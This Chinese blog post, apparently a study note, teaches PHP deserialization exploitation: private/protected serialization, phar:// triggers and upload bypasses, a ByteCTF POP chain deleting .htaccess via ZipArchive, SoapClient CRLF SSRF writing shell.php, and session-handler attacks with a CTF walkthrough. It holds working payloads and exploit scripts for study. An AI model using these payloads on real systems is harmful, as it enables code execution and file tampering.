目录

说在前面

对于PHP反序列化,原来也就只是浅尝而止。最近看到很多题的出现了多种没有了解过的反序列化形式,就此进一步学习一下。其中很多内容都参考了师傅们的博客,部分内容经过自己的修改。如果存在错误,还望师傅们指出。

文章首发于先知:https://xz.aliyun.com/t/6454

pravite和Protected成员的序列化

以前在做反序列化的题的时候遇到的都是public成员,但在k0rz3n师傅的文章中看到了Private和Protected权限序列化的过程中有着不同的差别。这里做一个小知识点的总结。

先来复习一下一个简单的序列化例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
class Threezh1 {
public $text;

function execute($payload) {
eval($payload);
}

function __destruct(){
$this->execute($this->text);
}
}

$a = new Threezh1();
$a->text = 'echo "Threezh1";';
echo serialize($a);
?>

序列化后的内容:

O:8:"Threezh1":1:{s:4:"text";s:16:"echo "Threezh1";";}

O代表这是一个对象,8代表对象名称的长度,1代表成员个数。

大括号中分别是:属性名类型、长度、名称;值类型、长度、值。

那反序列化的过程中是这样的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
class Threezh1 {
public $text;

function execute($payload) {
eval($payload);
}

function __destruct(){
$this->execute($this->text);
}
}
unserialize($_GET["a"]);
?>

访问:http://127.0.0.1/index.php?a=O:8:%22Threezh1%22:1:{s:4:%22text%22;s:16:%22echo%20%22Threezh1%22;%22;}

返回:

Threezh1

Private类型

那么问题来了,如果把$text成员从public改为private呢?

因为在实例中无法通过$obj->属性名(或方法名) 来调用pravite类型的方法或属性。所以上面生成的例子需要改一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
class Threezh1
{
private $text = 'phpinfo();';

public function setPayload($temp){
$this->text = $temp;
}

function execute($payload) {
eval($payload);
}

function __destruct(){
$this->execute($this->text);
}
}

$a = new Threezh1();
$a->setPayload('echo "Threezh1";');
$data = serialize($a);
echo($data);
file_put_contents("serialize.txt", $data);

这时候生成出来的序列化的内容为:

O:8:"Threezh1":1:{s:14:"Threezh1text";s:16:"echo "Threezh1";";}

按照前面的反序列化步骤,进行反序列化。会发现序列化并没有成功,显示了phpinfo的页面:

01.jpg

那怎么样才能使它反序列化成功呢?我们使用winhex打开刚刚保存的serialize.txt。内容如下图:

02.jpg

会发现在Threezh1的左右,也就是属性名中的类名左右存在两个空字节。所以反序列化不成功的原因就是由于序列化内容生成到网页后,空字节不会一同生成出去,导致反序列化的时候无法识别是private属性,反序列化失败。

那解决这个问题的方法就是,在传递反序列化字符串中,在类名的左右加上%00,也就是空字节对于的URL编码。反序列化成功结果如下:

03.jpg

这也正好解释了,为什么序列化内容中,为什么属性名的长度为14。

所以,Private类型在序列化的格式为:%00类名%00

Protected类型

Protected类型和private有些许不同,生成的序列化内容为:

O:8:"Threezh1":1:{s:7:"*text";s:16:"echo "Threezh1";";}

使用winhex查看保存的serialize.txt

04.jpg

可得出,Protected类型在序列化的格式为:%00*%00类名

Phar反序列化

phar的总结类文章已经有很多了,比如Hu3sky学长的初探phar://

自己在总结phar的过程中又学习到了一些新的内容,这里就做下记录。

phar文件的结构:

phar文件都包含以下几个部分:

1. stub
    phar文件的标志,必须以 xxx __HALT_COMPILER();?> 结尾,否则无法识别。xxx可以为自定义内容。
2. manifest
    phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是漏洞利用最核心的地方。
3. content
    被压缩文件的内容
4. signature (可空)
    签名,放在末尾。

生成一个phar文件:

php内置了一个phar类来处理相关操作。

注意:这里要将php.ini里面的phar.readonly选项设置为Off并把分号去掉。

(如果你在命令行运行PHP文件还是无法生成成功,请使用php -v查看php版本并在修改指定版本的php.ini。)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
class TestObject {
}

@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new TestObject();
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

漏洞利用条件

  1. phar文件要能够上传到服务器端。
  2. 要有可用的魔术方法作为“跳板”。
  3. 文件操作函数的参数可控,且:/phar等特殊字符没有被过滤。

phar受影响的文件操作函数:

知道创宇测试后受影响的函数列表:

affect_function.png

但实际并不止这一些。

参考zxc师傅的文章:https://blog.zsxsoft.com/post/38

在跟踪了受影响函数的调用情况后发现,除了所有文件函数,只要是函数的实现过程直接或间接调用了php_stream_open_wrapper。都可能触发phar反序列化漏洞。

以下这些方式都可触发phar反序列化漏洞:

exif

exif_thumbnail
exif_imagetype

gd

imageloadfont
imagecreatefrom***

hash

hash_hmac_file
hash_file
hash_update_file
md5_file
sha1_file

file / url

get_meta_tags
get_headers

standard

getimagesize
getimagesizefromstring

zip

$zip = new ZipArchive();
$res = $zip->open('c.zip');
$zip->extractTo('phar://test.phar/test');

Bzip / Gzip

当环境限制了phar不能出现在前面的字符里。可以使用compress.bzip2://和compress.zlib://绕过

$z = 'compress.bzip2://phar:///home/sx/test.phar/test.txt';
$z = 'compress.zlib://phar:///home/sx/test.phar/test.txt';

配合其他协议:(SUCTF)

当环境限制了phar不能出现在前面的字符里,还可以配合其他协议进行利用。
php://filter/read=convert.base64-encode/resource=phar://phar.phar

这次的ByteCTF也有这个点。使用的是:php://filter/resource=phar://phar.phar

Postgres

1
2
3
4
<?php
$pdo = new PDO(sprintf("pgsql:host=%s;dbname=%s;user=%s;password=%s", "127.0.0.1", "postgres", "sx", "123456"));
@$pdo->pgsqlCopyFromFile('aa', 'phar://phar.phar/aa');
?>
pgsqlCopyToFile和pg_trace同样也是能使用的,需要开启phar的写功能。

Mysql

LOAD DATA LOCAL INFILE也会触发这个php_stream_open_wrapper

配置一下mysqld:

[mysqld]
local-infile=1
secure_file_priv=""
1
2
3
4
5
6
7
8
9
10
11
12
<?php
class A {
public $s = '';
public function __wakeup () {
system($this->s);
}
}
$m = mysqli_init();
mysqli_options($m, MYSQLI_OPT_LOCAL_INFILE, true);
$s = mysqli_real_connect($m, 'localhost', 'root', 'root', 'testtable', 3306);
$p = mysqli_query($m, 'LOAD DATA LOCAL INFILE \'phar://test.phar/test\' INTO TABLE a LINES TERMINATED BY \'\r\n\' IGNORE 1 LINES;');
?>

漏洞的利用实例:

一个简单的例子

phar.php

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
class TestObject {
}
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new TestObject();
$o -> name='Threezh1'; //控制TestObject中的name变量为Threezh1
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
class TestObject {
public $name;

function __destruct()
{
echo $this -> name;
}
}
if ($_GET["file"]){
file_exists($_GET["file"]);
}
?>

使用php phar.php生成phar.phar文件。

访问:http://127.0.0.1/index.php?file=phar://phar.phar

返回:Threezh1。 反序列化利用成功。

example01.jpg

绕过文件格式限制

upload.html:

1
2
3
4
5
6
7
8
9
10
11
12
<!DOCTYPE html>
<html>
<head>
<title>upload file</title>
</head>
<body>
<form action="http://127.0.0.1/upload.php" method="post" enctype="multipart/form-data">
<input type="file" name="file" />
<input type="submit" name="Upload" />
</form>
</body>
</html>

upload.php

仅允许格式为gif的文件上传。上传成功的文件会存储到upload_file目录下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
if (($_FILES["file"]["type"]=="image/gif")&&(substr($_FILES["file"]["name"], strrpos($_FILES["file"]["name"], '.')+1))== 'gif') {
echo "Upload: " . $_FILES["file"]["name"];
echo "Type: " . $_FILES["file"]["type"];
echo "Temp file: " . $_FILES["file"]["tmp_name"];

if (file_exists("upload_file/" . $_FILES["file"]["name"]))
{
echo $_FILES["file"]["name"] . " already exists. ";
}
else
{
move_uploaded_file($_FILES["file"]["tmp_name"],
"upload_file/" .$_FILES["file"]["name"]);
echo "Stored in: " . "upload_file/" . $_FILES["file"]["name"];
}
}
else
{
echo "Invalid file,you can only upload gif";
}

index.php

1
2
3
4
5
6
7
8
9
10
11
<?php
class TestObject{
var $data = 'echo "Hello World";';
function __destruct()
{
eval($this -> data);
}
}
if ($_GET["file"]){
file_exists($_GET["file"]);
}

绕过思路:GIF格式验证可以通过在文件头部添加GIF89a绕过

我们可以构造一个php来生成phar.phar。

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
class TestObject {
}
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new TestObject();
$o -> data='phpinfo();'; //控制TestObject中的data为phpinfo()。
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

利用过程:

gifcheck.jpg

uploadgif.jpg

phpinfo.jpg

可见已经执行了phpinfo命令了。

通过修改后缀名和文件头,能够绕过大部分的校验。

配合PHP内核哈希表碰撞攻击

参考:https://xz.aliyun.com/t/2613

原生类序列化(ZipArchive::open)

拿这次2019 ByteCTF的ezCMS这道题来学习这个知识点。

先是哈希长度扩展攻击 参考

登录账户:admin
登录密码:admin%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%90%00%00%00%00%00%00%00test

置cookie:user=2e05fd4ee5d0ec7853d174d06cd3ca47;

config.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
<?php
session_start();
error_reporting(0);
$sandbox_dir = 'sandbox/'. md5($_SERVER['REMOTE_ADDR']); // sandbox + md5(ip)
global $sandbox_dir;

function login(){

$secret = "********";
setcookie("hash", md5($secret."adminadmin"));
return 1;

# 52107b08c0f3342d2153ae1d68e6262c

}

function is_admin(){
$secret = "********";
$username = $_SESSION['username'];
$password = $_SESSION['password'];
if ($username == "admin" && $password != "admin"){
if ($_COOKIE['user'] === md5($secret.$username.$password)){
return 1;
}
}
return 0;
}

class Check{ // 检查一些关键字
public $filename;

function __construct($filename)
{
$this->filename = $filename;
}

function check(){
$content = file_get_contents($this->filename);

$black_list = ['system','eval','exec','+','passthru','`','assert']; // 检查了文件中的一些关键字

foreach ($black_list as $k=>$v){
if (stripos($content, $v) !== false){
die("your file make me scare");
}
}

return 1;
}
}

class File{

public $filename;
public $filepath;
public $checker;

function __construct($filename, $filepath)
{
$this->filepath = $filepath;
$this->filename = $filename;
}

public function view_detail(){

if (preg_match('/^(phar|compress|compose.zlib|zip|rar|file|ftp|zlib|data|glob|ssh|expect)/i', $this->filepath)){
die("nonono~");
}
$mine = mime_content_type($this->filepath); //这里可以触发phar反序列化
$store_path = $this->open($this->filename, $this->filepath);
$res['mine'] = $mine;
$res['store_path'] = $store_path;
return $res;

}

public function open($filename, $filepath){
$res = "$filename is in $filepath";
return $res;
}

function __destruct() //类被销毁时自动触发
{
if (isset($this->checker)){
$this->checker->upload_file(); //调用upload_file()方法
}
}
}

class Admin{
public $size;
public $checker;
public $file_tmp;
public $filename;
public $upload_dir;
public $content_check;

function __construct($filename, $file_tmp, $size)
{
$this->upload_dir = 'sandbox/'.md5($_SERVER['REMOTE_ADDR']);
if (!file_exists($this->upload_dir)){
mkdir($this->upload_dir, 0777, true);
}
if (!is_file($this->upload_dir.'/.htaccess')){
file_put_contents($this->upload_dir.'/.htaccess', 'lolololol, i control all');
}
$this->size = $size;
$this->filename = $filename;
$this->file_tmp = $file_tmp;

$this->content_check = new Check($this->file_tmp);

$profile = new Profile();

$this->checker = $profile->is_admin();
}

public function upload_file(){

if (!$this->checker){
die('u r not admin');
}
$this->content_check -> check();
$tmp = explode(".", $this->filename);
$ext = end($tmp); //
if ($this->size > 204800){
die("your file is too big");
}
#
move_uploaded_file($this->file_tmp, $this->upload_dir.'/'.md5($this->filename).'.'.$ext);
}

public function __call($name, $arguments)
{

}
}

class Profile{

public $username;
public $password;
public $admin;

public function is_admin(){

//从SESSION当中取用户名和密码
$this->username = $_SESSION['username'];
$this->password = $_SESSION['password'];

$secret = "********";

if ($this->username === "admin" && $this->password != "admin"){
if ($_COOKIE['user'] === md5($secret.$this->username.$this->password)){
return 1;
}
}
return 0;

}
function __call($name, $arguments) //当调用不存在的方式时触发
{
$this->admin->open($this->username, $this->password); //这里作为
}
}

view.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
error_reporting(0);
include ("config.php");
$file_name = $_GET['filename'];
$file_path = $_GET['filepath'];
$file_name=urldecode($file_name);
$file_path=urldecode($file_path);
$file = new File($file_name, $file_path); //调用File类
$res = $file->view_detail(); //调用view_detail方法
$mine = $res['mine'];
$store_path = $res['store_path'];

echo <<<EOT
<div style="height: 30px; width: 1000px;">
<Ariel>mine: {$mine}</Ariel><br>
</div>
<div style="height: 30px; ">
<Ariel>file_path: {$store_path}</Ariel><br>
</div>
EOT;
?>

在view.php中,url中传递的filename与filepath进行一次url编码之后传递到File类中调用view_detail方法。

view_detail方法中存在一个mime_content_type()函数, 这个函数是可以导致phar反序列化的。

在此之前:

1
2
3
if (preg_match('/^(phar|compress|compose.zlib|zip|rar|file|ftp|zlib|data|glob|ssh|expect)/i', $this->filepath)){
die("nonono~");
}

这个正则禁止了大部分的进行phar反序列化的关键词,不允许这些关键词出现在filepath的开头。但是这里漏了一个php://协议。 参考SUCTF

找到了phar反序列化触发点之后,开始构造一条可利用的POP链,思路:

  1. File类的__destruct()会调用$this->checker->upload_file()。可以将$this->checker赋值为Profile类
  2. 因为$this->checker没有Profile类,触发__call()魔术方法
  3. 调用$this->admin->open($this->username, $this->password); 这里可以使用原生类反序列化

原生类反序列化参考

简要笔记:

利用PHP函数 ZipArchive::open($filename, $flags)
当$flag=ZipArchive::OVERWRITE时,就会将$filename的文件删除

构造Payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
<?php
class File{
public $filename;
public $filepath;
public $checker;

function __construct($filename, $filepath)
{
$this->filepath = $filepath;
$this->filename = $filename;
$this->checker = new Profile();
}

}
class Profile{
public $username;
public $password;
public $admin;

function __construct()
{
$this->username = "./sandbox/f528764d624db129b32c21fbca0cb8d6/.htaccess";
$this->password = "ZipArchive::OVERWRITE";
$this->admin = new ZipArchive();
}


}

$a = new File("threezh1", "threezh1");

class TestObject {
}
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new TestObject();
$phar->setMetadata($a); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();

?>

先把phar文件生成出来上传。

再访问:http://127.0.0.1/view.php?filename=9c7f4a2fbf2dd3dfb7051727a644d99f.phar&filepath=php://filter/resource=phar://sandbox/f528764d624db129b32c21fbca0cb8d6/9c7f4a2fbf2dd3dfb7051727a644d99f.phar

即可把.htaccess删除,再直接去访问一句话木马连蚁剑拿flag。(这里由于题目已经关了,自己的环境总是出问题,就没复现成功。)

原生类魔法函数(soapClient类)

参考这一篇:反序列化攻击面拓展提高篇

SOAP是webService三要素(SOAP、WSDL(WebServicesDescriptionLanguage)、UDDI(UniversalDescriptionDiscovery andIntegration))之一
WSDL 用来描述如何访问具体的接口 
UDDI用来管理,分发,查询webService 
SOAP(简单对象访问协议)是连接或Web服务或客户端和Web服务之间的接口。

webService相当于 HTTP + XML

SoapClient()方法

public SoapClient::SoapClient ( mixed $wsdl [, array $options ] )

第一个参数是用来指明是否是wsdl模式,如果为null,那就是非wsdl模式,反序列化的时候会对第二个参数指明的url进行soap请求。

用Soap进行SSRF也有两个需要注意的点:

SOAP => CRLF => SSRF

文章当中的exp.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
$target = 'http://127.0.0.1/test.php';
$post_string = '1=file_put_contents("shell.php", "<?php phpinfo();?>");';
$headers = array(
'X-Forwarded-For: 127.0.0.1',
'Cookie: xxxx=1234'
);
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'wupco^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri' => "aaab"));

$aaa = serialize($b);
$aaa = str_replace('^^','%0d%0a',$aaa);
$aaa = str_replace('&','%26',$aaa);
echo $aaa;
$c=unserialize(urldecode($aaa));
$c->ss();
?>

test.php:

1
2
3
4
5
6
7
<?php 
if($_SERVER['REMOTE_ADDR']=='127.0.0.1'){
echo 'hi';
@$a=$_POST[1];
@eval($a);
}
?>

访问 http://127.0.0.1/exp.php 可在目录下写入一个shell.php。

Session反序列化

参考这一篇PHP中SESSION反序列化机制

PHP中的session保存

PHP.ini有以下配置项用于控制session有关的设置:

session.save_path="D:\xampp\tmp"    表明所有的session文件都是存储在xampp/tmp下
session.save_handler=files              表明session是以文件的方式来进行存储的
session.auto_start=0                表明默认不启动session
session.serialize_handler=php           表明session的默认序列话引擎使用的是php序列话引擎

PHP中有多种session的序列话引擎,当我设置session为$_SESSION["name"] = "Threezh1";时。不同的引擎保存的session文件内容如下:

php: 
    name|s:8:"Threezh1";
    存储方式是,键名的长度对应的ASCII字符+键名+经过serialize()函数序列化处理的值

php_binary:
    names:8:"Threezh1";
    存储方式是,键名+竖线+经过serialize()函数序列处理的值

php_serialize(php>5.5.4):
    a:1:{s:4:"name";s:8:"Threezh1";}
    存储方式是,经过serialize()函数序列化处理的值

切换不同引擎使用的函数为:ini_set('session.serialize_handler', '需要设置的引擎');

1
2
3
4
<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
// do something

Session反序列化漏洞的原理:

如果在PHP在反序列化存储的$_SESSION数据时使用的引擎和序列化使用的引擎不一样,会导致数据无法正确第反序列化。如果session值可控,则可通过构造特殊的session值导致反序列化漏洞。

文章中有一个简单的例子:

test1.php

1
2
3
4
5
<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION["spoock"]=$_GET["a"];
?>

test2.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
ini_set('session.serialize_handler', 'php');
session_start();
class lemon {
var $hi;
function __construct(){
$this->hi = 'phpinfo();';
}

function __destruct() {
eval($this->hi);
}
}
?>

通过源码可以得知,test1中使用的session解析引擎是php_serialize,test2使用的是php。

并且在test1中,SESSION["spoock"]的值是可控的。

访问:

http://localhost/test1.php?a=|O:5:%22lemon%22:1:{s:2:%22hi%22;s:16:%22echo%20%27Threezh1%27;%22;}

a参数的值为“|” + 一个序列化的对象。

再访问:

http://localhost/test2.php

返回:

Threezh1

可知我们在session中的解析过程中,对我们的payload进行了反序列化。为什么会出现这种情况呢?

payload的构造

先看两个解析引擎存储session的格式:

php: 
    name|s:8:"Threezh1";
    存储方式是,键名的长度对应的ASCII字符+键名+经过serialize()函数序列化处理的值

php_serialize(php>5.5.4):
    a:1:{s:4:"name";s:8:"Threezh1";}
    存储方式是,经过serialize()函数序列化处理的值

思路:

因为储存session的页面(test1)使用的是php_serialize解析引擎,如果我们把session的值中添加一个“|”,在test2页面中使用php解析引擎解析的过程中,就会把“|”前面的值作为一个session键名,对“|”后面就会进行一个反序列化操作。

“|”后面的序列化对象生成:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
class lemon {
var $hi;
function __construct(){
$this->hi = 'phpinfo();';
}

function __destruct() {
eval($this->hi);
}
}
$a = new lemon();
$a->hi = "echo 'Threezh1';";
echo serialize($a)
?>

但是直接这样利用的话,局限性还是太大了。

但在有趣的php反序列化总结中介绍了另一种Session反序列化漏洞的利用方式。

当PHP中session.upload_progress.enabled打开时,php会记录上传文件的进度,在上传时会将其信息保存在$_SESSION中。详情

条件:

  1. session.upload_progress.enabled = On (是否启用上传进度报告)
  2. session.upload_progress.cleanup = Off (是否上传完成之后删除session文件)

上传文件进度的报告就会以写入到session文件中,所以我们可以设置一个与session.upload_progress.name同名的变量(默认名为PHP_SESSION_UPLOAD_PROGRESS),PHP检测到这种同名请求会在$_SESSION中添加一条数据。我们就可以控制这个数据内容为我们的恶意payload。

本打算复现:有趣的php反序列化总结,但在传递payload的时候,payload如果存在”|”。session就会为空,还没有找到解决的方法,如果有师傅遇到同样的问题,还望师傅帮忙解答。

jarvisoj-web-writeup PHPINFO

题目地址:http://web.jarvisoj.com:32784/

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
public $mdzz;
function __construct()
{
$this->mdzz = 'phpinfo();';
}

function __destruct()
{
eval($this->mdzz);
}
}
if(isset($_GET['phpinfo']))
{
$m = new OowoO();
}
else
{
highlight_string(file_get_contents('index.php'));
}
?>

开头将session的解析引擎定义为了php。

访问:http://web.jarvisoj.com:32784/index.php?phpinfo 可看到session.upload_progress.enabled,session.upload_progress.cleanup都符合条件。

于是构造一个upload.html

1
2
3
4
5
<form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
<input type="file" name="file" />
<input type="submit" />
</form>

poc.php:

1
2
3
4
5
6
7
8
9
<?php
class OowoO
{
public $mdzz;
}
$a = new OowoO();
$a->mdzz = "print_r(scandir(__dir__));";
echo serialize($a);
?>

生成序列化的值为:

O:5:"OowoO":1:{s:4:"mdzz";s:22:"print_r(system('ls'));";}

在上传的时候抓包,修改上传的内容为序列化的值前加一个“|”。即可遍历目录。

05.jpg

再从phpinfo中的SCRIPT_FILENAME字段得到根目录地址:/opt/lampp/htdocs/,构造得到payload:

O:5:"OowoO":1:{s:4:"mdzz";s:88:"print_r(file_get_contents('/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php'));";}

得到flag:

06.jpg

参考